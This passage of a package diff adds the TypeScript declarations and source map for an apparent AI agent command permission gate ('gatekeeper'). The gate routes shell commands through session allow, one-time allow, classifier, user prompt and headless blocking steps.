+ *   2. Session allow check — `isSessionAllowed(command)` returns `true` when the command was
+ *      previously approved via "Allow This Session" for the rest of this session. Non-consuming,
+ *      so repeated invocations of the same command reuse the same session-level token without
+ *      re-prompting or persisting to disk.
+ *   3. Ephemeral check (FLOW-08 Step 1) — `isEphemeralAllowed(command)` is consume-on-match, so
+ *      a single "Allow Once" click is honored exactly once on the immediate next evaluation.
+ *   4. Classifier (FLOW-07 routing) — `classifyCommand` yields `allow` / `deny` / `ask`; the
+ *      `deny` branch short-circuits past the prompt per FLOW-07 ("deny is automatic"), the
+ *      `ask` branch falls through to the prompt handler.
+ *   5. Prompt (FLOW-07 Step 4) — only reached when the classifier yields `ask` AND
+ *      `ctx.hasUI === true`. On `allow-session` the gate seeds the session-level set; on
+ *      `allow-once` the gate seeds the ephemeral set; on `allow-always` the gate persists the
+ *      full {@link getAllowListEntries} list (not just the trimmed command) per the AC-005-04
+ *      segment-persistence contract; on `deny` the gate persists the command to the current
+ *      level's deny list.
+ *
+ * Headless safety (FLOW-11): when `ctx.hasUI === false`, the `ask` branch surfaces
+ * `BLOCKED (headless)` via `ctx.ui?.notify` (guarded through optional chaining so a runtime
+ * that omits the UI surface entirely does not throw) and returns `{ allow: false }`.
+ */
+export declare function runPermissionGate(command: string, ctx: ExtensionContext): Promise<{
+    allow: boolean;
+    persistWrite?: {
+        level: PermissionLevel;
+        action: "allow" | "deny";
+        pattern: string;
+    };
+}>;
+export default function gatekeeper(pi: ExtensionAPI): void;
+export {};
+//# sourceMappingURL=gatekeeper.d.ts.map

package/dist/gatekeeper.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"gatekeeper.d.ts","sourceRoot":"","sources":["../src/gatekeeper.ts"],"names":[],"mappings":"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"}